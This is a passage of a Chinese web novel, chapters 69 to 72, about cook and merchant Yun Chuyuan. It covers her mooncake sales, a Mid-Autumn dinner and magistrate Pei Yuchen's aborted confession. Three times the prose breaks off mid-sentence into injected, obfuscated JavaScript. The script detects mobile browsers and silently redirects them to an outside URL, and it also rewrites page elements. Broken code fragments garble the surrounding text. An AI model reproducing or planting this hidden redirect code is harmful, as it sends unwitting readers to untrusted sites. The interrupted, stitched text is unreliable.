三个人即刻离开,按照云楚沅说的去做,一个时辰的工夫,云记卖的月饼就换了个样。 “瞧一瞧,看一看,云记食肆推出新口味月饼,可以免费试吃哟。” “走过路过,不要错过,云记月饼买五赠一,把全家福带回家,一家老小全都爱。” 凡是路过云记铺子的人,无一不被热闹的景象吸引,门口围着一圈又一圈百姓,全是排队试吃的。 “嘶,什么情况?怎么这么多人呀?”有不明真相的大娘隔着老远就发现前面堵的水泄不通。 旁边的妇人提起手里的全家福套餐:“云记在请大伙儿试吃新口味月饼,我尝过了,那款莲蓉蛋黄月饼确实好吃。我赶紧买了一盒,生怕抢不到。” 一听是免费送吃食,大娘立马不淡定了,“什么?这样的好事怎么能少得了我!”说罢,她用尽全力向人堆里挤去,“让一让,让一让,我也要吃!” 妇人摇头失笑,刚想离开,便被一名大汉拦住了去路,“妹子,你手里这盒月饼能卖给我不?我多给你十个铜板。云记买月饼的人太多了,我不想进去挤。” 妇人抱紧怀中的月饼,猛地摇了摇头,“不成不成,我排了一刻钟的队才买到的,我要带回去给我家人吃,不卖不卖。” 两人的对话被不远处的闲来无事的男子听了去,他眼珠子一转,想出了一个好主意,带上自己的狐朋狗友,到云记排队去了。 云楚沅动作麻利地打包着月饼,谁能想到早晨还无人问津的月饼,午后突然大卖,铺子里人手不够,她这位老板都得亲自上阵。 “这是你的十份全家福套餐,请慢走。” 在又一次送走那个眼熟的小子后,云楚沅后知后觉的意识到,她这是碰上黄牛了啊。 看着门外还有许多人没买到,云楚沅挂出了一个牌子,上面写着“每次限购三盒”。 69. 中秋家宴 忙完铺子里的事,云楚沅马不停蹄地赶回了小渔村,小弟和小妹已经将近一个月的时间没见到她了,怕是要闹脾气了。 云楚沅隔着老远,就看见阿汤哥的家门前蹲坐着两个垂头丧气的孩子,他们耷拉着小脸,正拿着树枝在地上划来划去。 相处这么久的时间,她早就把他们当做真正的家人了,见他们两个闷闷不乐的样子,云楚沅有些鼻酸,她声音哽咽道:“楚河,楚清,阿姐回来了。” 听见耳熟的声音叫他们的名字,云楚河和云楚清抖了抖耳朵,眼中闪过一丝不敢相信,怀疑自己产生了错觉。 云楚沅走近两步,轻声说道:“几日不见,就把我忘了吗?” 两人猛地站起身,激动到浑身颤抖,他们定睛一看,果真是心心念念的那个人。 “阿姐,你终于回来了!”云楚河丢掉手里的树枝,“噔噔噔”奔向云楚沅,脚步踉跄差点摔倒。 “呜呜呜,阿姐,我好想你呀。”跟在后面的云楚清红着眼睛,哭哭啼啼地小跑过来。 他们跑到云楚沅的身旁,一左一右紧紧抱住了她的大腿,生怕她一眨眼就会消失不见。 云楚沅缓缓蹲下身子,轻拍着他们的后背,温柔地将他们的眼泪拭去,“别哭鼻子啦,我这不是回来了吗?” 云楚清委屈地撅起小嘴:“阿姐你坏,怎么能不说一声就偷偷跑了呢?” 云楚沅举起双手做出求饶状:“好好好,小祖宗,都是我的错,我不该就这么把你们丢下的。可我也是不得已啊,要是瞧见我们家清儿掉金豆子,我肯定就舍不得走了。” “那……那我想送一送你嘛。”云楚清吸了吸鼻子,小声说道。 云楚河接话:“是呀,阿姐,就算不让我们跟着去,总得和我们好生告别吧。” 云楚沅自知理亏:“好好好,是阿姐的不是。看在我给你们带回来这么多礼物的份上,原谅我吧。” 来到院子里,她将手中的大包小包放在桌子上,向他们展示从江南卖到的衣裳、木雕、配饰等物品,“来吧,我亲爱的弟弟妹妹,把衣服换上让姐姐瞧瞧合不合身。” 两个孩子翻看着漂亮衣裳,眼睛亮亮的,立马钻进屋子里换上。 云楚河扭扭捏捏地走出来,小声嘟囔:“这么好的衣裳,弄脏了怎么办。” 人靠衣装马靠鞍,邋里邋遢的皮小子摇身一变,倒有几分像是富贵人家的小少爷。 “弄脏了,姐姐给你买新的!”云楚沅拍着胸脯说道。 赚银子就是用来花的,她也为自己买了一大包衣裙和首饰,虽然结账的时候有些肉疼,可穿上新衣服后心情立刻就好了起来。 云楚清摸了摸粉裙子上栩栩如生的蝴蝶,惊叹道:“阿姐,这绣工真是精湛,我何时也能做成这样?” 云楚沅笑着说道:“绣娘们都是经过长年累月的练习才能学成的,阿姐相信你以后肯定也行。” 待阿汤哥回来后,云楚沅拿出为他准备的好酒,以表谢意,然后便将小弟和小妹领走了。 临近傍晚,他们才一起回到了县衙。 “大忙人回来了?” 云楚沅扭头看见了提着剑走过来的裴昱臣,“裴大哥,这么晚了你还要练剑吗?” 裴昱臣面不改色道:“我已经练完剑了。” 云楚沅有些疑惑,那他怎么一点汗都没流。 站在后面的青竹无语凝噎,大人,您现在说谎都不打草稿了吗? 青竹早早便回来了,裴县令逮着他就问云姑娘哪儿去了,他如实回答,自家大人一听云姑娘去忙生意,顿时就不高兴了。 这一天的工夫,县令大人问了有十几遍云姑娘回来没有,直至方才听到院外传来动静,他立马拿起剑快步走了出去,装作与云姑娘偶遇的样子。 青竹只想说,大人,你这副样子也太不值钱了吧…… “裴大哥,我们先回房了,你也早点休息。” 云楚沅连坐多日马车,今天又忙了许久,现在已是哈欠连天,只想倒头大睡,丝毫没有留意到裴昱臣幽怨的目光。 被忽视的裴昱臣眼见她要离开,开口说道:“你不是说要给我带礼物吗?我怎么没瞧见?” 云楚沅打起精神,从背上的竹娄里拿出两幅字画递给他,“差点忘了,这是我花大价钱买回来的,据说是京城有名的大儒袭老先生的真迹,很有收藏价值!” 裴昱臣眼底掀起一丝波澜,无巧不成书,这丫头竟买下了他师父的字画,他打开看了看,顿时愣住了。 “……”裴昱臣欲言又止,他该怎么告诉云楚沅这是赝品呢? 云楚沅眼神期待地望着裴昱臣:“怎么样,高兴吗?卖家可是跟我说裴老先生是你们读书人都很尊崇的人呢。” “……”看着这双忽闪忽闪的大眼睛,裴昱臣不忍心告诉她真相了,他面不改色地点点头,“楚沅,你有心了,这书画墨妙笔精,我很喜欢。” 要是袭盛元在,怕是要打死这个不孝弟子,如此拙劣的仿迹还能蒙蔽得了他的慧眼? 蒙蔽裴昱臣,不是书画,而是送书画的人。 —— 农历八月十五,中秋节。 这日,云楚沅和裴昱臣商量好,一起在县衙吃中秋宴,还特意将没有亲人的陈县丞邀请了过来。 膳房里,云楚沅带着小弟和小妹清洗着食材。 “阿姐,今日你要做什么好吃的?”云楚河看着木盆里活蹦乱跳的鱼虾,想象着它们将会变成什么美味。 云楚沅一边掰着手指,一边说道:“捞汁小海鲜、清蒸螃蟹、清蒸鲳鱼、白灼鲍鱼、海鸭煲、炒青菜、桂花糯米藕,这些够不够?” 云楚河听得口水都要留下来了,他猛地点头,“够了够了,为了这顿晚宴我都没吃午膳,待会我一定要敞开肚皮吃!” 云楚沅摇头失笑:“说到吃饭,你最积极了。” 裴昱臣一走进来,便听到他们姐弟俩的欢声笑语,“这么热闹?需要帮忙吗?” 云楚沅抬起头来,看见站在门口风度翩翩的男子,有些恍惚,这人不该出现在膳房,应该出现在诗会那样的风雅之地。 她连忙起身擦了擦手上的水,把人转过身向外推去,“不用啦,我一个人搞得定。” 感受着背后的轻柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091188|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力道,裴昱臣随着她的动作走了两步,才慢悠悠地说道:“闲来无事,我和你们一起做吧。 怎么说这也是中秋家宴,裴昱臣自然想参与其中。 这是他的一点小心思,能和云家人一起做菜,仿佛他也是这个家的一份子。 “好吧,那你就负责切菜吧。”云楚沅见他坚持,便将最简单的步骤交给了裴昱臣,“小心点哦,县令大人切到手我可不负责。” 裴昱臣拿起菜刀转了转:“小瞧我了,剑我都耍的来,别说一把小菜刀了。” 然后云楚沅就瞧着他“唰唰唰”地挥了几下,一顿眼花缭乱的操作之后,案板上落下了许多大小一致的蔬菜。 目瞪口呆的云楚沅,小声喃喃道:“假的吧,这也太犯规了。” 裴昱臣矜持地笑了笑:“熟能生巧。” 云楚沅甩了甩脑袋,不客气地说道:“那杀鱼也交给你了。” 说完,她就做起了捞汁小海鲜,蛤蜊、鲜虾、八爪鱼全部焯水,用酱油和香醋打底调配万能捞汁,糖、盐、麻油调味,最后加入葱花、芫荽、茱萸、蒜末,放在一旁等待入味。 云楚河将肥美的螃蟹洗净后,肚腹朝上置于蒸笼之中,“阿姐,最简单的清蒸螃蟹我也会做。”随着蒸汽升腾,蟹壳渐渐染上橙红。 “那我再教你做一道清蒸鲳鱼,也很简单的。” 云楚沅将处理干净的新鲜鲳鱼划上几刀,撒上一些葱姜去腥增香,放入锅中大火蒸制。 “等到出锅的时候,放上葱丝淋上热油激发出香味,再浇上我调好的酱汁便好了,做法是不是也很简单?” 云楚河看着云楚沅往碗里又是倒黑乎乎的酱油、又是撒糖的,迷迷糊糊地说道:“阿姐,酱汁太复杂了,我可把握不好。” “那你去帮小妹一起往莲藕里塞米吧,我去煲老鸭汤。”云楚沅笑着说道。 海鸭煲用的是钟家下不了蛋的老鸭子,这种鸭子的肉质十分紧实,搭配上枸杞、红枣等滋补食材小火慢炖。 “这桂花糯米藕的做法倒是新颖。”裴昱臣瞧着两个孩子用筷子往莲藕里捣糯米,也拿了一个尝试。 “我超爱的一道甜品,软糯香甜,可好吃了。”云楚沅开心地晃动身子,发丝在她的身后来回摆动,仿佛是在起舞。 裴昱臣瞧她摇头晃脑的模样,忍俊不禁,“哦?那我必须得好好尝尝,是什么样的珍馐能把云大厨迷得神魂颠倒。” “等着瞧吧,保准你一吃一个不吱声。”云楚沅自信满满地说道。 莲藕段被塞满泡发好的糯米,用牙签封口后放到锅中,倒入清水和糖炖煮一个时辰后,撒入干桂花,汤汁变得浓稠,色泽如琥珀般诱人。 捞出放凉后切片装盘,薄厚均匀的藕片被码得整整齐齐,断面处有糯米镶嵌其中,表面淋上熬到浓稠的糖浆,再撒一把金黄的桂花做点缀。 云楚沅尝了一块,棕红色的莲藕吸满了糖水的甘甜和桂花的清香,味道很不错,她又夹了一块递到裴昱臣嘴边,“尝尝吧。” 裴昱臣下意识地张嘴,他的注意力全在这副被她用过的筷子上,根本未曾留心糯米藕的滋味。 70. 花前月下 见裴昱臣就着她的手吃完了一片糯米藕,云楚沅笑眯眯地问道:“甜吗?” 裴昱臣静静盯着云楚沅的笑颜,思绪早已飘远,下意识地点了点头,“甜。” 得到肯定的云楚沅笑得更开心了,那笑容带着蜜糖般的甜意,丝丝缕缕沁入裴昱臣的心间。 往日里的沉稳皆抛诸脑后,裴昱臣出神地想,确实很甜,世间万物都不及她笑意盈盈的模样。 一轮明月高悬在天边,廊下的灯笼轻轻晃动,院子里的八仙桌摆满一桌丰盛的菜肴。 “哎哟,不得了,想不到老夫有一日能吃上县令大人做的菜。”陈县丞捋着长须乐呵呵地说道,眼角笑纹里漾着慈和。 裴昱臣看向坐在旁边的云楚沅:“我只不过是帮忙切了切菜而已,主要还是楚沅掌勺。” 陈县丞笑眯眯地看着这对十分般配的男女,他年纪大了,却不至于老眼昏花,裴县令看云姑娘的眼神令他了然,这小子是情窦初开了。 云楚沅打开一坛桂花酒,浓郁醇厚的桂花香飘散出来,“裴大人,陈县丞,这是我自己酿的桂花酒,你们尝尝。”说完,她为两人一人斟了一杯酒。 陈县丞轻抿了一口酒,笑着说道:“云姑娘心灵手巧,哪家小子要是娶了你可真是有福了。” 陈县丞有意无意地看向了裴昱臣,却发现他面不改色,好似对这个话题并不感兴趣。 嘿,这小子还挺会装模作样。 “我也这么觉得,我这般漂亮又能干的女子打着灯笼都难找。”云楚沅抬了抬下巴,娇俏的小表情没有一点羞涩。 裴昱臣的嘴角不自觉地露出一抹笑,她与寻常女子最大的不同就是落落大方、不扭捏,也许有人会觉得这样自夸是脸皮厚,可裴昱臣却很欣赏她这份自信。 陈县丞见裴昱臣盯着姑娘的痴态,忍笑开口:“两个孩子都等不及了,咱们赶紧用饭吧。” 云楚沅瞧小弟和小妹伸长脖子、目不转睛地看着桌上的菜,好笑地说道:“你们是饿死鬼投胎吗?” “嘿嘿。”云楚河傻笑一声,眼神还是不曾从捞汁小海鲜上移开。 蛤蜊张开坚硬的外壳,露出鲜嫩多汁的肉;鲜虾红亮的甲壳下是紧实弹牙的虾肉;蜷缩着的八爪鱼吸饱了酸辣的酱汁。 裴昱臣先为陈县丞盛了一碗,然后对云楚沅姐弟三人说道:“动筷吧。” 云楚河用勺子轻轻翻动捞汁海鲜,捞汁裹挟着蒜香和麻油香钻进鼻子里,他舀起满满一大勺海鲜,贝肉、虾仁、八爪鱼堆得满满,“啊呜”一大口塞进嘴里。 清爽沁凉过后,麻辣鲜香的味道涌了上来,“这么吃好爽呀。”云楚河咽下嘴里的海鲜,发出一声长叹。 云楚沅掰开清蒸蟹的蟹壳,用小勺子将蟹膏挑出来吃掉,这么一桌好菜,她最爱的还是这一口。 裴昱臣见状,将手里刚掰开的螃蟹,放到了她的碗里,“给你吧,我不爱吃这玩意。” 云楚沅瞧着那块丰腴的蟹黄,眼睛一亮,“我吃,我吃,多谢裴大人。” 剥开蟹腿和蟹钳,露出里面如凝脂般雪白的蟹肉,云楚沅蘸上姜醋汁送入口中,姜末的辛辣中和了螃蟹的寒凉,而且更加凸显出蟹肉本身的清甜鲜美。 陈县丞默默看着两人的互动,心里不由发笑,裴小子还挺会疼人。 牙口不好的陈县丞不爱吃带壳的海鲜,他更中意嫩滑、刺又少的清蒸鲳鱼,用筷子轻轻一夹,整条鱼便完全脱骨了,“这鱼味道真不错,葱油香、豉油香,再加上鱼肉的鲜香,味道清淡还带着一丝甘甜,老头子我爱吃。” 云楚沅考虑到陈县丞岁数大了,怕是吃不了太重口的菜,而且小书生吃不了辣,所以今晚中秋宴的菜式,都是以清淡为主,就连捞汁小海鲜都只是加了一点点茱萸提味。 “陈县丞,再尝尝这道海鸭煲,这是我专门为您熬的,里面加了些滋补的药材。”云楚沅揭开砂锅的盖子,浓郁的香味扑面而来,金黄的汤汁澄澈透亮,泛着微微光泽。 鸭肉炖煮得恰到好处,软烂脱骨,陈县丞用两根筷子将丝丝缕缕的鸭肉顺着纹理撕扯分开。 他先是喝一口汤,温润鲜美中带着一股药材的独特清香,再尝一块鸭肉,肉质紧实细嫩又没有腥味,里面的笋、芹菜配菜也吸饱了汤汁精华,变得格外美味。 “不错,不错,云姑娘有心了,喝了一碗汤,我这身子都暖和了。”陈县丞满意地点点头。 “您喜欢就好。”云楚沅笑着说道。 她转头正好看见裴县令盘子里的菜不多,便给他夹了一个白灼鲍鱼,“怎么吃这么少?不合你的胃口吗?” 裴昱臣摇了摇头:“菜肴很好,只是我每到中秋都会想起家母,难免有些感伤。” 云楚沅顿时也觉得手里的螃蟹不香了,她也想起了自己的家人,以前过节一大家子围坐在一起,好吃的菜可比现在多多了。 裴昱臣偏过头,看到云楚沅蔫了的模样,不自在地摸了摸鼻尖,他好像说错话了,忘记她的爹娘也都离世了。 “瞧那月亮,阴晴圆缺自有定数,人生亦是如此。莫要伤怀,虽然你的双亲未在身侧相伴,但他们在天之灵,定会希望你安康,这皎洁月光,恰似他们对你的祝福。” 云楚沅本来还挺感动裴昱臣说了这么一长串话来安慰她,可当听到他说她爹娘在天之灵时,云楚沅便绷不住了,她的亲生爹娘没死呢!他们只不过是分隔在两个世界罢了! “好啦好啦,谢谢你的安慰,咱们赶紧吃饭吧。”云楚沅低下头扒起了饭,裴昱臣一句“在天之灵”把她酝酿出来的情绪全都打破了。 也是,最起码她知道自己的亲人活得好好的,只是没机会再与他们见面了而已,没必要沉湎于伤怀中。 裴昱臣还以为是自己的话宽慰到了她,笑着继续用膳。 他用筷子夹起一块沉甸甸的鲍鱼,鲜香脆嫩,口感弹牙,吃起来很有韧性,淡淡的葱香在嘴里蔓延,没有添加过多复杂的调料,完全体现了鲍鱼的原汁原味。 云楚沅见小弟和小妹吃饭的速度减慢,便知道他们差不多快饱了,于是给他们夹了两片糯米藕,“这道桂花糯米藕你们也参与制作了,不尝尝吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097105|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “要的要的。”就算阿姐不说,云楚清也是要吃的,她夹起桂花糯米藕送入口中,糯米绵软黏稠,莲藕爽脆清甜,撒在上面的桂花带着独特的清香,吃起来甜而不腻。 “阿姐,我宣布,这是我最爱的一道菜了。”云楚清扬起小脸,认认真真地说道。 云楚沅摘掉她嘴角沾着的米粒,揶揄道:“我怎么记得,上回我做汤包的时候,你也说过这话。” 云楚清张了张嘴,脸蛋微红,“那……那是因为阿姐做的每一道菜都是我的最爱!” “噗嗤,你这丫头嘴真甜。”云楚沅摸了摸小妹的脑袋。 听见他们对话的裴昱臣,悄悄靠近,“楚沅,我也是如此,自从尝过你做的吃食,其他人做的我便再也吃不下了。” 云楚沅惊讶道:“有这么夸张吗?” 裴昱臣郑重其事地点头,一本正经的模样让人无法判断他是不是在哄人。 “我也是,我也是!”云楚河从座位上跳下来,钻进云楚沅和裴昱臣的中间,“阿姐,离开你做的菜,我会饿死的~” 裴昱臣低头看着抱着云楚沅撒娇的小鬼头,脸色有一瞬间的难看,他声音低沉地说道:“楚河,男女授受不亲,你已经不小了,不可再与长姐搂搂抱抱,这像什么话?” 云楚河向来对裴昱臣言听计从,闻言立刻松手,他丝毫没察觉到不对,只觉得裴大哥是严格遵守礼教的人,“裴大哥,我错了。” 云楚沅似笑非笑地看了裴昱臣一眼,旁人不知道,她还不了解吗?这小书生私下里可没有这么义正言辞,与她独处时也没说要刻意保持距离。 如今,倒是对个小孩子说教起来了,真是只许州官放火,不许百姓点灯。 眼见小书生要开始长篇大论了,云楚沅连忙咳嗽了两声,“咳咳,差不多得了。” 裴昱臣说话的声音一顿,对上云楚沅戏谑的表情,讪讪道:“既如此,今日就先到这里吧,菜也吃的差不多了,我送陈县丞回去。” 云楚沅指挥着丫鬟小厮们收拾桌上的剩菜,裴昱臣扶起了醉醺醺的陈县丞,往门口走去,他晚间光顾着与楚沅闲谈了,都没注意到陈县丞何时将那坛桂花酒喝了大半。 “您老慢着点。”裴昱臣一把拽住差点又要摔倒的陈县丞。 “裴……裴小子,什么时候再请老头子我吃酒啊。”陈县丞一张口,酒气喷了裴昱臣满脸。 “您还没喝够啊。”裴昱臣无奈地抚了抚额头。 陈县丞抬起手指点了点他,笑呵呵地说道:“你小子装什么傻呢,我是说你的喜酒,什么时候请我喝?” “……”裴昱臣俊脸一红,想不到连陈县丞都看出了他的心意,“咳,我会尽快表明心意的。” 院子里的花儿在月光的轻抚下愈发娇艳,裴昱臣静静地伫立在这花前月下。 “裴大哥,你找我来有什么事?”刚回房的云楚沅听到青竹来传话,说裴县令有事找她,便立马找过来了。 她竖起耳朵,娇俏的脸庞微微侧向小书生,樱唇微张:“这么晚了,要和我说什么悄悄话?” 71. 错觉 裴昱臣挺直背脊,难掩周身紧绷的气息,他的目光落在云楚沅的身上,喉结滚动,“楚沅,我有话与你说。” 云楚沅歪了歪脑袋,突然想起自己有个好消息还没和他分享,“我也有话要和你说!” 两人相视一笑,裴昱臣见她眼睛亮的惊人,便谦让了一回,“你先说吧。” 云楚沅像只欢快的小麻雀,一边蹦蹦跳跳,一边手舞足蹈,“我要去江南了!” 裴昱臣神情有些疑惑:“什么意思,你不是刚回来吗?” 兴奋的云楚沅拉着裴昱臣的衣袖使劲摇晃,嘴里噼里啪啦地说个不停,“哎呀,这回可不是去玩的,我要去江南长期定居,在那里把我的生意做大做强!” 裴昱臣修长的身躯猛然一僵,手指不自觉地攥紧衣角,指节泛白,眼底闪过一丝错愕。 他心绪难平,呼吸瞬间凝滞,裴昱臣万万没想到,在他即将表明心迹之时,会听说这样一件晴天霹雳的大事,而且毫无征兆,打了他一个措手不及。 云楚沅沉浸在对未来的美好畅想中,并未注意到面前男人的不对劲,她叽叽喳喳地说着江南的所见所闻。 “裴大哥,你不知道,江南有多么繁华,街道上的店铺里奇珍异宝、绫罗绸缎琳琅满目。最重要的是有许多出手阔绰的人,愿意为我的产品买单!” 越说越激动的云楚沅又开始讲起了她在江南遇到的人,从见多识广的宋老爷,到爱上蟹黄酱的姜老爷,再到央求她供货的青楼老鸨。 “裴大哥,我这一趟真是没白去,不光赚了大银子,还见了大世面。”云楚沅的眉宇间满是得意与欢欣。 “那……那你不回临海县了吗?这里没有你在乎的人了吗?”裴昱臣喉咙有些干涩,说话的声音都不太平稳。 云楚沅笑容不减半分:“楚河和楚清我会带他们一起离开的,食肆、海味坊、加工坊我都安排了心腹替我照看,没什么其他的需要我担心了。” 裴昱臣心中一痛,原来自己在她眼中是无关紧要之人,她念叨了一圈人,唯独对他只字未提。 看来是他自作多情了,裴昱臣本以为自己求娶一事水到渠成,之后他们两人会商定婚期、早日成家,他从没想过云楚沅会拒绝他。 在裴昱臣看来,临海县没有比他更优秀的男子,云楚沅不嫁给他能嫁给谁呢? 可现实给了他当头一棒,人家姑娘不一定非要在临海县找夫婿,她可以去外头找个江南才子呀。 裴昱臣本来想问问云楚沅对他就没有什么想说的吗?他张了张嘴,把自己想说的话咽回去了。算了,还是不要自取其辱了。 “裴大哥,你的脸色怎么这么难看,是吹风受寒了吗?”说了个尽兴的云楚沅这才注意到裴昱臣表情不佳,活像是被人骗钱了一样。 云楚沅走近两步,踮起脚尖,左手掌心贴在了裴昱臣的额头上,右手摸着自己的额头,感受着两人的温度差,“咦,好像没什么太大差别呀。” 裴昱臣低下头,眼睛眨也不眨地看着身前的女子,鼻尖嗅着她身上传来的淡淡香味,心里泛起一阵酸涩,同时还有一丝埋怨。 既然她对自己无意,为何总是这般有意无意地撩拨他,害他会错了意。 冲动之下,裴昱臣两手握住了云楚沅纤细的胳膊,死死盯住她的眼睛,声音发颤着问道:“倘若……倘若临海县有个心仪你的男子乞求你留下来,你会答应吗?” 云楚沅被男人深邃的眼眸看得十分不自在,不知为何,她感觉此刻的小书生有点可怕,是她从来没见过的强势。 云楚沅默默转移了视线,小声说道:“裴大哥,你是不是喝醉了,我去给你煮一碗醒酒汤。” 感受到她即将挣脱他的禁锢,裴昱臣加大力气,一把拽住转身想要逃走的云楚沅,声音低沉地说道:“你还没有回答我。” 云楚沅愣愣地看着裴昱臣执着的眼神,心里莫名冒出来了一个念头,这……这小书生不会是对她有意思吧! 瞧瞧这副隐忍的表情!瞧瞧这对渴望的眼眸!瞧瞧这双有力的手掌! 妈呀,这不是小说里的墙纸爱吗? 从来没有谈过恋爱的云楚沅晕乎乎地胡思乱想,她是要被小书生强娶豪夺了吗?天哪,她是不是应该配合着欲拒还迎一下? 裴昱臣的脸又黑了,他怎么也没想到,都这种时候了,这丫头还能出神的!他就这般没有吸引力吗? 气得不轻的裴昱臣嘴角微微抽搐,他放开了云楚沅的胳膊,转身快步离开了这个伤心地。 裴昱臣身为一个读书人,是有傲骨的。 云楚沅明显表达了对他的不在意,他是不会恬不知耻地纠缠不休的。 也罢,既然她这么瞧不上他,那他以后会离她远远的,不再打扰她。 “诶,这人怎么跑了?” 刚刚回神的云楚沅看着裴昱臣走远的背影有些摸不着头脑,她怀疑是自己误会了,哪有人表白到一半就跑了的?一定是她想多了。 世上的三大错觉之一,他喜欢我。 云楚沅握紧小拳头敲了敲自己的脑袋,喃喃自语道:“啧,一点风吹草动就让你高兴的不行,云楚沅,你可真没出息!” —— 自那日两人驴头不对马嘴地交流过后,云楚沅隐隐感觉到裴昱臣在躲着她,她也没有上赶着自讨没趣。 一方面,是因为她自恋地以为小书生要和她告白,最近有些不好意思面对他;另一方面,这几日事务繁忙,她也没有工夫和他闲聊。 临海县的房屋建设已经步入尾声,南城和北城陆陆续续竖起了一座座新房屋,有商铺也有住宅。 工程干得这么快,当然离不开县令大人夜以继日的监督,云楚沅私以为,自己也是有功劳的,她云记的大锅饭可是做好了后勤保障。 “不要挤不要挤!统统在红线外站好,我点到名字的人走上前来。” 县衙门外,梁捕头带着衙役维持秩序,裴昱臣坐在桌子后面清点着名单。 “诶,你们家排在第几个呀?” “唉,别提了,我家男丁不多,干的工时少,大概排在末尾吧。” “那你还强着站在最前面,给我让个位置,我们家十几个壮汉,修路建房一天都不拉,选房权绝对有我家的名额。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102260|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嘿,你这人,我没资格选房,还不能凑热闹了?我就不让!” “别吵别吵,县令大人要说话了!” 眼见裴县令站起身来,在场的百姓们一下子噤了声,他们一个个双眼火热地盯着裴昱臣手里的名单,望眼欲穿。 “各位父老乡亲们,临海县兴土木之事结束了,感谢诸位的支持,县衙承诺大伙儿的工钱和选房权不会忘的。名单已经张贴在了告示栏,现在,我念到名字的人请上前来领银子、选房屋。” 裴昱臣又继续补充道:“工时排名前一百的人家才有选房的资格,选好后需交一两银子的押金,并在三天内交齐买房屋的钱,否则将会被取消资格。” “县令大人,要是有空出来的名额,可否给我们其他人?”人群中有人喊道。 裴昱臣点了点头:“要是有人失去资格,人选便往后顺延。” 人群后方传来一阵窃窃私语。 “没银子的人干嘛还要来抢占名额,机会就该给我们这些准备好银子的人。” “这你就不知道了吧,听说这个选房名额早就被炒出了天价,一些壮丁多的穷苦人家来做工,是要将这选房权卖出去的。” “哦?还有这样的事?” “偷偷和你说,我隔壁那户人家工时排在第九十八名,选房权卖了好几十两银子,那可真是发大财了!” “嚯,这也忒吓人了吧,买选房权花的银子都快赶上买房的钱了,这是图啥啊?” “你消息太落后了,南城和北城已经有江南宋记的商铺入驻了,咱们临海县马上就要翻身了,房屋自然也会水涨船高。等着瞧吧,房价很快便会上涨!” “啧,我就说这两天城里怎么热闹起来了,还多了许多外地人的面孔。” “你可别不信,咱们临海县在周围都出名了,我前几日去隔壁县看望亲戚时,发现他们家也在用云记的酱料。” 这时,前方传来裴县令的声音,打断了百姓们的闲谈。 “第一名,家住东城双喜街的洪喜旺。” “我我我!是我!” 一个腰圆体胖的中年男子从人堆里钻了出来,笑容满面地跑到裴昱臣跟前,“哈哈哈,想不到啊,我们家竟然是第一个。” 裴昱臣将绘制好的临海县新地图摆在他面前,“你选哪处房屋?” “大人,我早就想好了,我想要南城东边的商铺,位置要靠近中心街的。” 洪喜旺在来之前,和全家人一起去了趟南城,实地考察过了,他们一致决定选择路口的大商铺,日后经营一家客栈。 裴昱臣将他选好的地方标注出来,并收取了押金,“记住,尽快把银子凑齐。” 洪喜旺从怀中掏出一个沉甸甸的荷包:“大人,我等这一天等了很久了,银子我已经带来了。” 裴昱臣没有感到意外,他将拟定好的契约拿了出来,“那便签字画押吧,房屋你已经看过了吧?一经出售概不退换。” “看过了,看过了,我很满意!”洪喜旺猛点头,衙门派人建的房屋那可是一点偷工减料都没有,他是满意的不能再满意。 72. 排骨肉蟹煲 临海县南城和北城的房屋建好后,越来越多的店铺开始营业,卖吃的、卖穿的、卖玩的,应有尽有,热闹非凡,尤其是贯穿东西南北的中心街,俨然形成了一片商业区。 云楚沅不仅在中心街多了几处新铺子,还在附近买下了三间住宅,她准备带着小弟和小妹搬进来。 下个月云楚沅就要出发去江南,趁这几日她赶紧把手底下的工作安排好,加工坊多开了一间又一间,生产速度才勉强抵得上售卖的速度,这期间又招了不少人。 县衙厨娘的工作云楚沅也没法做了,她从膳房的伙夫里挑了个伶俐的,培养成了新厨子。 离开县衙前,云楚沅本想和裴县令亲口道别,可青竹通报后传回话来,裴大人忙于公务,没空见她。 走出县衙大门时,云楚沅的心情有些低落,这里也算是她开启临海县生活的地方,如今就这样悄悄走了,心里总觉得空落落的。 可天下无不散的宴席,云楚沅深呼一口气,迈着坚定的步伐转身离开了,她即将开启新的征程。 书房里,端坐在桌子后看书的裴昱臣好半天都没翻页,他忍不住出声:“她走了?” 青竹偷偷觑了一眼自家大人的脸色,小心翼翼地开口:“云姑娘一刻钟前已经离开了。” “……”裴昱臣张了张嘴,却又不知道说什么。 这不正是他想要的吗?再相见定会徒增烦恼,倒不如不道别,就这样放手让她离开。 青竹看着县令大人愣神的模样,心下叹了口气,这叫什么事啊,云姑娘头也不回地走了,裴大人黯然神伤,他们俩可是他很看好的一对啊! 前几日兴冲冲的裴大人还询问他成亲的事宜,之后却没有下文了。 青竹心里难过得不行,恨不得摁着两人的脑袋让他们再见一面,有什么想说的就说出来呀! 